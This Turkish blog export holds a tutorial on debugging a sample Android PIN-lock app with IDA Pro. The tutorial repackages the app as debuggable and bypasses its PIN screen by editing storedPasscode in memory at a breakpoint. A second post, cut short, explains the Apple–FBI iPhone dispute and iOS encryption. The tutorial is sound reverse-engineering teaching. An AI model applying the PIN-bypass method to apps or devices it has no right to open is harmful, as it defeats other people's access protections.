Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-38341849493900611202016-03-31T19:56:00.002+03:002017-04-01T09:23:08.480+03:00IDA Pro ile Android App Debugging<div style="text-align: justify;">
Bu yazıda örnek bir Android uygulamasının IDA PRO kullanılarak nasıl debug edileceğini adım adım anlatılacaktır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Önemli Bir Not:</b> IDA PRO ile remote debugging yapabilmek için IDA ile birlikte gelen <span style="font-family: "courier new" , "courier" , monospace;">android_server</span> binary'sine ihtiyacımız bulunuyor. Bu da lisanslı bir IDA PRO uygulamasına sahip olmamız anlamına geliyor. Eğer tam sürüm lisanslı bir IDA PRO'nuz yoksa veya android_server binary'sine sahip değilseniz bu adımları gerçekleştiremeyeceksiniz.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-BENjTfsCKwg/VvuUo7Bor9I/AAAAAAAADrk/RbNi_mzm_uMFz47O9GOqBkFQjSo-cvKnw/s1600/android_server.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="236" src="https://1.bp.blogspot.com/-BENjTfsCKwg/VvuUo7Bor9I/AAAAAAAADrk/RbNi_mzm_uMFz47O9GOqBkFQjSo-cvKnw/s640/android_server.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div style="text-align: justify;">
Debug edeceğimiz uygulama Lollipin.apk adında basit bir tuş kilidi uygulamasıdır. <a href="https://github.com/OrangeGangsters/LolliPin">Lollipin</a> kütüphanesi kullanılarak geliştirilmiş örnek uygulama apk'sı <a href="https://drive.google.com/file/d/0B2Z3-eXKz9qTMXhpZTYxYTFOOWc/view?usp=sharing">bu link</a> üzerinden indirilebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-GMu0k5ny_cc/VvuISbGva1I/AAAAAAAADrE/CdsfYuwKcV0SHmNBVbX2fLZfMft1AHNGg/s1600/github_gif.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://1.bp.blogspot.com/-GMu0k5ny_cc/VvuISbGva1I/AAAAAAAADrE/CdsfYuwKcV0SHmNBVbX2fLZfMft1AHNGg/s400/github_gif.gif" width="225" /></a></div>
<div style="text-align: justify;">
Android uygulamalarının gerçek bir cihaz üzerinde debug edilebilmesi için uygulamanın geliştirme sırasında <span style="font-family: "courier new" , "courier" , monospace;">debuggable</span> olarak ayarlanması gerekmektedir. Bu işlem <span style="font-family: "courier new" , "courier" , monospace;">AndroidManifest.XML</span> dosyası içerisinde <span style="font-family: "courier new" , "courier" , monospace;"><application></span> etiketine ait <span style="font-family: "courier new" , "courier" , monospace;">android:debuggable</span> parametresinin değerinin <span style="font-family: "courier new" , "courier" , monospace;">true</span> yapılması ile gerçekleştirilebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-XV5XkQJA9Q4/VvuKIvhTiTI/AAAAAAAADrQ/e4J4IXJhIAw8_P3jlh5elpF2b_nrQnzHQ/s1600/debuggable%2Btrue.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="114" src="https://4.bp.blogspot.com/-XV5XkQJA9Q4/VvuKIvhTiTI/AAAAAAAADrQ/e4J4IXJhIAw8_P3jlh5elpF2b_nrQnzHQ/s640/debuggable%2Btrue.png" width="640" /></a></div>
<div style="text-align: justify;">
Eğer uygulama emülatör üzerinde debug edilecekse zaten adb daemon root hakları ile çalıştığından <span style="font-family: "courier new" , "courier" , monospace;">android:debuggable</span> parametresinin değerinin <span style="font-family: "courier new" , "courier" , monospace;">true</span> olmasına gerek yoktur. Emülatör üzerinde çalışan tüm process'ler debug edilebilir. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Debug edilmek istenen uygulama kendi geliştirdiğimiz bir uygulama değil de 3rd party bir app ise bu durumda uygulamaya ait AndroidManifest.XML dosyası içerisine ekleme yaparak uygulamanın debuggable olması sağlanmalıdır. Bu yazıda lollipin uygulaması üzerinden gidildiği göz önüne alındığında ilk önce uygulamayı disassemble ederek AndroidManifest.XML dosyasını değiştirmek ve ardından uygulamayı yeniden paketlemek gerekecektir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Herhangi bir Android uygulamasını disassemble etmek için kullanılacak en iyi araçlardan biri <a href="http://ibotpeaches.github.io/Apktool/">apktool</a> aracıdır. Ücretsiz olarak <a href="http://ibotpeaches.github.io/Apktool/">web sayfası</a> üzerinden indirilebilir. <span style="font-family: "courier new" , "courier" , monospace;">apktool</span> "d" parametresi ile birlikte çalıştırarak uygulama disassemble edilebilir.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-qnC7vEuvfEE/VvuxkPC1AfI/AAAAAAAADr0/Z0CLjyqYbcUH5gop7qhPE4UjD6swqoM3Q/s1600/apktoold.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="214" src="https://2.bp.blogspot.com/-qnC7vEuvfEE/VvuxkPC1AfI/AAAAAAAADr0/Z0CLjyqYbcUH5gop7qhPE4UjD6swqoM3Q/s640/apktoold.png" width="640" /></a></div>
Disassemble edilmiş uygulama dizinine girildiğinde AndroidManifest.XML dosyası görülebilir. Uygulamanın <span style="font-family: "courier new" , "courier" , monospace;">debuggable</span> hale getirilebilmesi için herhangi bir text editör ile açılarak <span style="font-family: "courier new" , "courier" , monospace;"><application></span> etiketi içerisine <span style="font-family: "courier new" , "courier" , monospace;">android:debuggable="true" </span>parametresi eklenir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-pkeIZQA-c6A/VvuyjIAsHYI/AAAAAAAADr8/cl6Y2HzmmqY8Lm8LDwh7jSSFZ8MaMnveA/s1600/debuggable_true.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="204" src="https://1.bp.blogspot.com/-pkeIZQA-c6A/VvuyjIAsHYI/AAAAAAAADr8/cl6Y2HzmmqY8Lm8LDwh7jSSFZ8MaMnveA/s640/debuggable_true.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
AndroidManifest.XML dosyası değiştirilen uygulamanın tekrar paketlenmesi gerekecektir. Uygulamanın tekrar paketlenmesi yine apktool aracı ile gerçekleştirilebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-hQXj_ExlfOo/VvuzmXYU9BI/AAAAAAAADsE/Ao1IBcxkqL44-nvH9bplR5VolNSiPfSQA/s1600/apktoolb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="177" src="https://2.bp.blogspot.com/-hQXj_ExlfOo/VvuzmXYU9BI/AAAAAAAADsE/Ao1IBcxkqL44-nvH9bplR5VolNSiPfSQA/s640/apktoolb.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Paketlenen uygulama lollipin dizini içerisinde dist klasörüne oluşturulacaktır. Oluşturulan bu yeni app paketinin cihazda çalıştırılabilmesi için tekrar imzalanması gerekmektedir. Android işletim sisteminde self-signed sertifika ile imzalanmış uygulamaların çalıştırılmasına izin verildiğinden yeniden paketlenmiş uygulama kendi ürettiğimiz bir sertifika ile imzalayabilir. Sertifikamızı ve public/private anahtar çiftimizi üretmek için <span style="font-family: "courier new" , "courier" , monospace;">keytool</span> aracı kullanılabilir. (Burada <span style="font-family: "courier new" , "courier" , monospace;"><b>KEYSTORE_ADI.keystore</b></span> ve <span style="font-family: "courier new" , "courier" , monospace;"><b>ALIAS</b></span> değerlerini isteğe bağlı olarak seçilmiştir) </div>
<blockquote class="tr_bq" style="clear: both; text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">keytool -genkey -v -keystore <b>KEYSTORE_ADI</b>.<b>keystore</b> -alias <b>ALIAS</b> -keyalg RSA -keysize 2048 -validity 10000</span></blockquote>
<div class="separator" style="clear: both; text-align: justify;">
Üretmiş olduğumuz bu sertifika kullanılarak uygulama paketi <span style="font-family: "courier new" , "courier" , monospace;">jarsigner</span> aracıkullanılarak imzalanabilir.</div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<blockquote class="tr_bq">
<span class="s1"><span style="font-family: "courier new" , "courier" , monospace;">jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <b>KEYSTORE_ADI.keystore</b> /lollipin/dist/lollipin.apk <b>ALIAS</b></span></span></blockquote>
Bu işlemin sonunda "jar signed" mesajı alınıyorsa işlem başarıyla tamamlanmış demektir.</div>
<div style="text-align: justify;">
<br />
Şu anda elimizde AndroidManifest.XML dosyası modifiye edilerek tekrar paketlenmiş ve imzalanmış, kısacası artık debug edilebilir bir uygulama bulunmaktadır. Bu uygulama Android Debug Bridge (adb) aracı kullanılarak cihaza kurulabilir.<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">adb install Lollipin/dist/lollipin.apk</span></blockquote>
</div>
<div style="text-align: justify;">
Ardından IDA PRO kurulum dizinindeki "Debug Servers" klasörüne gidip <span style="font-family: "courier new" , "courier" , monospace;">android_server </span>binary'si cihaza gönderilir.<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">adb push <IDA_KURULUM_DIZINI>/Debug servers/android_server /data/local/tmp/</span></blockquote>
Cihazda <span style="font-family: "courier new" , "courier" , monospace;">adb shell</span> komutu ile shell alındıktan sonra <span style="font-family: "courier new" , "courier" , monospace;">android_server</span> binary'sinin gönderilmiş olduğu dizinine gidilerekerek (bu örnekte <span style="font-family: "courier new" , "courier" , monospace;">/data/local/tmp/</span>) <span style="font-family: "courier new" , "courier" , monospace;">android_server </span>çalıştırılır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-Kl6MKDAjXyg/Vvu4fCR7urI/AAAAAAAADsQ/-G8xJyzSNIowl1pv2vAYgp89HUbZ6r2Nw/s1600/andrpid_server2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="86" src="https://2.bp.blogspot.com/-Kl6MKDAjXyg/Vvu4fCR7urI/AAAAAAAADsQ/-G8xJyzSNIowl1pv2vAYgp89HUbZ6r2Nw/s640/andrpid_server2.png" width="640" /></a></div>
Görüldüğü üzere cihazda çalışan debug sunucusu 23946. porttan dinleme yapmaktadır.<br />
Bilgisayarda bir port yönlendirmesi yaparak lokaldeki herhangi bir portu adb üzerinden cihazda dinleme yapan bu 23946 numaralı porta yönlendirmek mümkündür. Bunun için aşağıdaki komut bilgisayarda çalıştırılabilir:<br />
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">adb forward tcp:<PC Portu> tcp:<Cihaz portu></span></blockquote>
<div>
Bu yazı için PC portu da cihaz portu da 23946 seçerek aşağıdaki komutu çalıştırılmıştır.</div>
</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
<span style="font-family: "courier new" , "courier" , monospace;">adb forward tcp:23946 tcp:23946</span></blockquote>
</div>
<div style="text-align: justify;">
Bu sayede bilgisayarımızın 23946 numaralı portu adb üzerinden cihazın 23946 portuna yönlendirilmiştir. Bilgisayarımızada IDA PRO lokaldeki 23946 portuna bir paket gönderdiğinde bu paket cihazdaki <span style="font-family: "courier new" , "courier" , monospace;">android_server'</span>ın dinemekte olduğu 23946 portuna iletilecektir.<br />
<br />
Bu nokta IDA PRO uygulamamıza yeniden paketleyip imzaladığımız lollipin apk paketi yüklenir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-qD8jLlTwpUo/Vvu7iKc_A3I/AAAAAAAADsc/qlb93L8XjmEuU3mBPnuGt_uJAMRn56ekg/s1600/ida2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="460" src="https://3.bp.blogspot.com/-qD8jLlTwpUo/Vvu7iKc_A3I/AAAAAAAADsc/qlb93L8XjmEuU3mBPnuGt_uJAMRn56ekg/s640/ida2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Uygulama IDA'ya yüklendikten sonra "Debugger" menüsünden “Process Options” ile cihazda çalıştırılacak uygulamanın lokasyonu ve cihazda android_server'ın dinleme yaptığı port bilgisi ayarlanır. Bilindiği üzere Android cihazlarda uygulama paketleri <span style="font-family: "courier new" , "courier" , monospace;">/data/app</span> dizini altında bulunmakradır. Cihazda shell alınıp bu dizine gidildiğinde lollipin uygulamamıza ait APK paketi görülecektir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-ry3CtWCfZL0/Vvu8WqzFL7I/AAAAAAAADsk/5RPlv5ozl3A_r1avNN-OJtYo_NZDcYtEQ/s1600/process_ayarlari.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="252" src="https://3.bp.blogspot.com/-ry3CtWCfZL0/Vvu8WqzFL7I/AAAAAAAADsk/5RPlv5ozl3A_r1avNN-OJtYo_NZDcYtEQ/s640/process_ayarlari.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Yine Debugger menüsünden “Debugger Options” -> “Set Specific Options” ile birkaç konfigürasyon yapılır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-DjpobRhLNfw/Vvu-Lrhm9CI/AAAAAAAADsw/Xyb7nNiXqh8YJJcWW-8jwqQsBrkGgqX7A/s1600/debug_ayarlari.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="484" src="https://3.bp.blogspot.com/-DjpobRhLNfw/Vvu-Lrhm9CI/AAAAAAAADsw/Xyb7nNiXqh8YJJcWW-8jwqQsBrkGgqX7A/s640/debug_ayarlari.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Debug yapılacak cihazın/emülatörün seri numarasını öğrenmek için <span style="font-family: "courier new" , "courier" , monospace;">adb get-serialno</span> komutu kullanılabilir. Uygulamanın paket ismi ve çalıştırılacak activity komponenti, disassemble etmiş olduğumuz AndroidManifest.XML dosyası içerisinden öğrenilebilir. Ya da Arayüzdeki "Fill from AndroidManifest.xml" butonuna basılarak uygulamaya ait APK dosyası gösterilir ve bu alanların otomatik doldurulması sağlanabilir.</div>
<div class="separator" style="clear: both; text-align: justify;">
Son olarak IDA arayüzünde bulunan breakpoint listesini temizlemek faydalı olacaktır. Uygulamanın başlangıçta herhangi bir breakpoint'e takılmadan başlatılmasını istediğimizden bu listede herhangi bir breakpoint varsa bunlar kaldırılabilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-i-siy5PxLdw/VvvEpi2qpcI/AAAAAAAADto/mfLAFZJ_24IytqVQ0WupFCBLmGezTXoIw/s1600/breakpoints.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="78" src="https://2.bp.blogspot.com/-i-siy5PxLdw/VvvEpi2qpcI/AAAAAAAADto/mfLAFZJ_24IytqVQ0WupFCBLmGezTXoIw/s400/breakpoints.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Artık uygulamayı debug etmek için hazırız. Debugger "Play" butonuna basılarak başlatılır ve cihaza bağlanıp uygulama ile bağlantı kurması beklenir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-Jx3MXQEtkL0/VvvABYWH6jI/AAAAAAAADs8/OeN9HrQqsTYdGBfCovOqGxI7g2Mf9EHyQ/s1600/start.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="66" src="https://2.bp.blogspot.com/-Jx3MXQEtkL0/VvvABYWH6jI/AAAAAAAADs8/OeN9HrQqsTYdGBfCovOqGxI7g2Mf9EHyQ/s400/start.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-uNQDolqIdc0/VvvCPY7Cf0I/AAAAAAAADtU/YmtHxUIQDWo8jOifsyojnXYevh8Q5BnhA/s1600/waiting4debugger.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://4.bp.blogspot.com/-uNQDolqIdc0/VvvCPY7Cf0I/AAAAAAAADtU/YmtHxUIQDWo8jOifsyojnXYevh8Q5BnhA/s320/waiting4debugger.png" width="192" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Cihazla bağlatı kurulduktan sonra uygulamanın ilk çalıştırılan aktivitesi, yani MainActivity açılır. Bu sırada IDA debugger "Running" state'dedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-kl2BDtkERlM/VvvCaO3K_eI/AAAAAAAADtY/vsDEkr1GM4ItZQJFBxKLd3MMQ9dwbKILw/s1600/running.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="420" src="https://3.bp.blogspot.com/-kl2BDtkERlM/VvvCaO3K_eI/AAAAAAAADtY/vsDEkr1GM4ItZQJFBxKLd3MMQ9dwbKILw/s640/running.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Uygulamamız bir kilit uygulaması olduğundan test amacıyla "Enable" butonuna basarak bir PIN oluşturulur.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-XeGXOS_0gkc/VvvGXronyaI/AAAAAAAADuA/sAqtwCKjQKALkcNVfPbWiCmWx0_4DTQJQ/s1600/pinset1%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://4.bp.blogspot.com/-XeGXOS_0gkc/VvvGXronyaI/AAAAAAAADuA/sAqtwCKjQKALkcNVfPbWiCmWx0_4DTQJQ/s320/pinset1%2B2.png" width="199" /></a><a href="https://1.bp.blogspot.com/-iFKdRH_hOOU/VvvHHt_HhmI/AAAAAAAADt8/-KGEigWq4rskh9Z0ym3BGpLuyYES53weQ/s1600/pinset2%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://1.bp.blogspot.com/-iFKdRH_hOOU/VvvHHt_HhmI/AAAAAAAADt8/-KGEigWq4rskh9Z0ym3BGpLuyYES53weQ/s320/pinset2%2B2.png" width="199" /></a></div>
Ayarlanan bu PIN ile giriş kontrolü yapmak için "Check" butonuna basılır ve PIN girme ekranına geçilir. (Şu anda elimizde PIN koruması atlatılmak istenen bir uygulama olduğunu varsayılabilir) Yapılması gereken ilk şey uygulamayı decompile ederek PIN kontrolünün yapıldığı fonksiyonu bulmak ve hangi noktaya breakpoint koyacağımızı tespit etmek olacaktır. Uygulama tersine mühendislik ile Java kaynak koduna dönüştürüldüğünde <span style="font-family: "courier new" , "courier" , monospace;">AppLockImpl</span> sınıfı içerisinde yer alan <span style="font-family: "courier new" , "courier" , monospace;">checkPasscode</span> fonksiyonunda PIN doğrulamasının yapılığı görülebilir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-i4-30nfxou0/VvvIOw4JJFI/AAAAAAAADuI/Htwm_F8aesQvE_EbZifGSzCbFfUKP2s2w/s1600/checkpasscode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="412" src="https://2.bp.blogspot.com/-i4-30nfxou0/VvvIOw4JJFI/AAAAAAAADuI/Htwm_F8aesQvE_EbZifGSzCbFfUKP2s2w/s640/checkpasscode.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Bir sonraki adım IDA'da <span style="font-family: "courier new" , "courier" , monospace;">AppLockImpl</span> sınıfındaki <span style="font-family: "courier new" , "courier" , monospace;">checkPasscode</span> fonksiyonunu bularak içerisinde breakpoint koyacak uygun bir yer bulmaktır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ftfT1IzMtog/VvvI_jzorQI/AAAAAAAADuQ/LD8gBDUgSIURTNSuOcAbXPoXo_jtfOI4g/s1600/checkpasscode1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="550" src="https://1.bp.blogspot.com/-ftfT1IzMtog/VvvI_jzorQI/AAAAAAAADuQ/LD8gBDUgSIURTNSuOcAbXPoXo_jtfOI4g/s640/checkpasscode1.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Koda bakıldığında <span style="font-family: "courier new" , "courier" , monospace;">equalsIgnoreCase</span> fonksiyonunun PIN kontrolünün yapıldığı yer olduğu ve breakpoint için çok güzel bir nokta olduğu görülebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-mVTFZmUmd2Q/VvvJ4Bg4phI/AAAAAAAADuc/z6nWdhQrsQEWSzA7DlT_ULMFyA7wRHhZQ/s1600/setbreakpoing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="https://3.bp.blogspot.com/-mVTFZmUmd2Q/VvvJ4Bg4phI/AAAAAAAADuc/z6nWdhQrsQEWSzA7DlT_ULMFyA7wRHhZQ/s640/setbreakpoing.png" width="640" /></a></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">equalsIgnoreCase</span> fonksiyonuna breakpoint koyulduktan sonra rastgele bir PIN değeri girilerek debugger'ın bu breakpoint'e ulaşması sağlanır. </div>
<div>
Breakpoint’e ulaşıldığı durumda “Locals” sekmesi altında o an <span style="font-family: "courier new" , "courier" , monospace;">equalsIgnoreCase</span> fonksiyonuna parametre olarak gelen <span style="font-family: "courier new" , "courier" , monospace;"><b>passcode</b></span> ve <span style="font-family: "courier new" , "courier" , monospace;"><b>storedPasscode</b></span> değişkenlerinin bellekteki değerleri görülebilir. <span style="font-family: "courier new" , "courier" , monospace;"><b>passcode</b></span> değeri şu an girilmiş olan PIN değeridir. <b><span style="font-family: "courier new" , "courier" , monospace;">storedPasscode</span></b> değeri ise daha önce girilmiş ve kaydedilmiş olan değerdir. <span style="font-family: "courier new" , "courier" , monospace;">equalsignoreCase</span> fonksiyonu bu iki değeri kıyaslayıp aynı olup olmadıklarını kontrol etmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-BKgXfT_6nhA/VvvL8d8fQSI/AAAAAAAADuo/u6E4K5vWuHoCDicSknto0IVMitbgSuLwg/s1600/ida_locals.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://2.bp.blogspot.com/-BKgXfT_6nhA/VvvL8d8fQSI/AAAAAAAADuo/u6E4K5vWuHoCDicSknto0IVMitbgSuLwg/s640/ida_locals.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Bu noktada bellekteki <b><span style="font-family: "courier new" , "courier" , monospace;">storedPasscode</span></b> değeri <b><span style="font-family: "courier new" , "courier" , monospace;">passcode</span></b> ile aynı olacak şekilde değiştirilirse <span style="font-family: "courier new" , "courier" , monospace;">equalsignoreCase</span> fonksiyonunun true değeri dönmesi sağlanabilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-UjF_CYn6lVI/Vvvau4Zvh3I/AAAAAAAADu4/eoOjyB7MPVcjxTcb3nJE0hKRj4jTJqUgg/s1600/ida_localsmanipulation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="204" src="https://2.bp.blogspot.com/-UjF_CYn6lVI/Vvvau4Zvh3I/AAAAAAAADu4/eoOjyB7MPVcjxTcb3nJE0hKRj4jTJqUgg/s640/ida_localsmanipulation.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Böylece lollipin uygulamasında PIN ile korunan bir ekran, çalışma anında debugger yardımıyla bypass edilmiş olacaktır.</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-19176858553983863132016-02-29T14:29:00.000+02:002016-04-05T09:36:46.135+03:00Apple, FBI ve iPhone Parolasının Kırılması... Teknik, Hukuki ve Kulis Bilgilerini İçeren Bir Derleme<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-9B4Tb90afvo/VtQz2Il89fI/AAAAAAAADok/b2lIqm2FFac/s1600/applevsfbi2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://4.bp.blogspot.com/-9B4Tb90afvo/VtQz2Il89fI/AAAAAAAADok/b2lIqm2FFac/s640/applevsfbi2.jpg" width="640" /></a></div>
<h2>
[LIVE BLOG]</h2>
Birkaç haftadır tüm dünyada FBI'ın Apple'dan San Bernardino katillerinin telefonuna ait kilidi kırabilmek için talep ettiği "backdoor"'u tartışılıyor. Bu konuyla ilgili teknik, hukuki ve kişisel görüş açısından birçok bilgi var. Bu bilgilere derli toplu bir şekilde ulaşılabilmesi için bir yazı yazmaya karar verdim.</div>
<div style="text-align: justify;">
<br />
<a name='more'></a></div>
<div style="text-align: justify;">
Öncelikle konuya bu olayın ne olduğu ile başlamak gerekiyor. Olay aslında San Bernardino katillerinden birine ait olan iPhone5C telefonun parolasının kırılması hususunda FBI'ın Apple'dan -vermiş olduğu danışmanlık desteğine ek olarak- cihaz kilidinin bruteforce ile kırılabilmesi için bazı güvenlik özelliklerini devre dışı bırakacak bir iOS update'ini talep etmesi. FBI tarafından mahkemeye gönderilen 16 Şubat tarihli başvuru [1] incelendiğinde aktif olarak Apple'ın zaten dava ile ilgili FBI'a teknik destek verdiği görülebiliyor. Cihaza ait iCloud backup'ları zaten FBI tarafından inceleniyor ancak elde edilen en son iCloud backup'u saldırıdan 6 hafta öncesine ait. Bu durumda son 6 hafta içerisindeki aktiviteler ile ilgili FBI'ın fiziksel cihazı incelemek dışında başka bir alternatifi kalmıyor. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-Xc-SdMtg4Os/Vsbj0NBcwmI/AAAAAAAADlY/GXBAIKQ71eU/s1600/fbiletter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="279" src="https://4.bp.blogspot.com/-Xc-SdMtg4Os/Vsbj0NBcwmI/AAAAAAAADlY/GXBAIKQ71eU/s640/fbiletter.png" width="640" /></a></div>
<div style="text-align: justify;">
Bu noktadaki en büyük problem ise cihazın kilitli olması ve cihaz sahibinin saldırı sonrası öldürülmüş olması. Apple, iOS işletim sistemine sahip cihazlarda tuş kilidinin bruteforce ile kırılmasını engellemek amacıyla bazı güvenlik özellikleri eklemiş durumda. Bu özelliklerden en önemlisi 10 defa yanlış parola girilmesi durumunda cihaz içeriğinin kurtarılamayacak sekilde wipe edilmesi. Bu islemi gercekleştirebilmek icin aslında çok akıllıca bir yöntem kullanılıyor. Basit bir şekilde açıklamak gerekirse iOS işletim sistemine sahip cihazlarda dosya sistemi <span style="font-family: "courier new" , "courier" , monospace;">File System Key</span> adı verilen bir anahtar ile şifrelenmiş olarak tutuluyor. Cihaz açılırken dosya sistemi bu anahtar ile açılıyor ve kullanılabilir hale geliyor. Burada dikkat edilmesi gereken konu cihaz açık iken dosya sisteminin şifreli olmaması (PC'lerdeki full disk encryption ile aynı). Peki bu <span style="font-family: "courier new" , "courier" , monospace;">File System Key</span> ne işe yarıyor diyecek olursanız, tuş kilidi parolası 10 defadan fazla yanlış girildiğinde veya cihaz fabrika ayarlarına döndürüldüğünde bu <span style="font-family: "courier new" , "courier" , monospace;">File System Key</span> güvenli bir şekilde silinerek bu anahtar ile şifrelenmiş dosya sisteminin okunamaz/kurtarılamaz hale getirilmesi sağlanmış oluyor.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">File System Key</span> boot süreci tamamlanmış cihazlarda bir koruma sağlamıyor ancak cihaz açıkken cihazdaki dosyaların güvenliği bir başka güvenlik sistemi ile sağlanıyor: <span style="font-family: "courier new" , "courier" , monospace;">iOS Data Protection</span>. <span style="font-family: "courier new" , "courier" , monospace;">iOS Data Protection</span> sayesinde uygulama geliştiriciler uygulamalarına ait hangi dosyaların hangi durumlarda erişilebilir olduğunu belirtebiliyorlar. Yani "benim dosyalarim sadece cihaz kilidi açıkken erişilebilir olsun" diyebiliyorlar. Apple da benzer bir şekilde kendi uygulamaları için bu önlemi uyguluyor. Tahmin edileceği üzere bu işlem dosyaların bir anahtarla şifrelenmesi ile gerçekleştiriliyor. Şifreleme anahtarı üretilirken ise en temelde 2 parametre kullanılıyor:<br />
<ol>
<li>Kullanıcının belirlediği parola </li>
<li>Cihaz içerisine üretim sırasında gömülen, <span style="font-family: "courier new" , "courier" , monospace;">UID</span> adı verilen unique identifier değeri (Aşağıdaki resimde Hardware Key olarak ifade edilmiş). </li>
</ol>
Bu <span style="font-family: "courier new" , "courier" , monospace;">UID</span> değerinin donanıma gömülü olduğu ve uygulamalar tarafından da okunamadığı göz önüne alındığında bir cihazda <span style="font-family: "courier new" , "courier" , monospace;">iOS Data Protection</span> ile korunan bir dosyanın sadece o cihaz üzerinde açılabileceği anlaşılmış olur.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-sn2k2QU27Go/VtP1-3HtiXI/AAAAAAAADmE/Yv9hBA8MaG0/s1600/iosdataprotection.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://3.bp.blogspot.com/-sn2k2QU27Go/VtP1-3HtiXI/AAAAAAAADmE/Yv9hBA8MaG0/s640/iosdataprotection.png" width="640" /></a></div>
